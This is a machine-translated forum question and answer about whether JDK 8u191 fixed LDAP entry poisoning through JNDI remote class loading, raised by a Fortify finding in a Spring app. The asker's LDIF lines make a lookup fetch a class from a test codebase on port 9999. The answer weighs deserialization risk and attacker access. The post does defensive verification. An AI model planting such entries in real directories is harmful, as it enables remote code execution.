LDAP 条目中毒已在 jdk-8u191 中修复?

LDAP Entry Poisoning Fixed in jdk-8u191?

Fortify 报告了我的一个 Spring 应用程序中的 LDAP 条目中毒漏洞。您可以从以下链接获取有关此漏洞的更多信息:

https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

我决定自己尝试证明这是否仍然是一个漏洞。我使用 Spring Tool Suite:

做到了这一点

文件 -> 新建 -> 导入 spring 入门内容

搜索 ldap 并导入 Authenticating Ldap -> 完整代码集

https://spring.io/guides/gs/authenticating-ldap/

然后我将以下行添加到包含的测试-server.ldif 文件到 bob 的条目以及开发人员的条目:

javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject

为了 运行 这个,我需要将以下行添加到 application.properties:

spring.ldap.embedded.validation.enabled=false

我启动了 Wireshark 和 运行 Spring 示例应用程序,果然,当我使用 bob 登录时,我在端口 9999 上的 Wireshark 中获得了成功。

当我让同事测试同样的东西时,他无法重现。经过一番研究,我们发现他的 jdk 比我的更新,而在我更新 jdk 后,我也无法重现该问题。

我们将它缩小到 jdk-8u191 是引入 "the fix" 的版本,但我找不到任何解释为什么或如何在 java 中修复它的内容发行说明。

我的问题是 - 如果我们 运行ning jdk-8u191 或更新版本,LDAP 条目中毒现在是 false/positive 吗?或者是否有一些配置选项可以设置为覆盖此 "fix"?

8u191 closed a remote class loading vulnerability 在 LDAP 中,尽管研究正在进行中。每当您将字节流转换为 Java 中的对象时,您需要考虑 class 加载(8u191 解决的问题),但也要考虑不安全的反序列化。

解决 CVE 时,它们通常不会出现在发行说明中。

至于Fortify的告警是不是误报,我觉得更重要的是评估与你的应用相关的风险。

例如,要利用此漏洞,攻击者至少需要 direct access to your LDAP instance(请参阅第 31 页),这可能表明存在更大的安全问题。 8u191 及之后,攻击者还需要在您的 class 路径中找到一个 class,它容易受到不安全反序列化的影响,以重现 BH 谈话所展示的内容。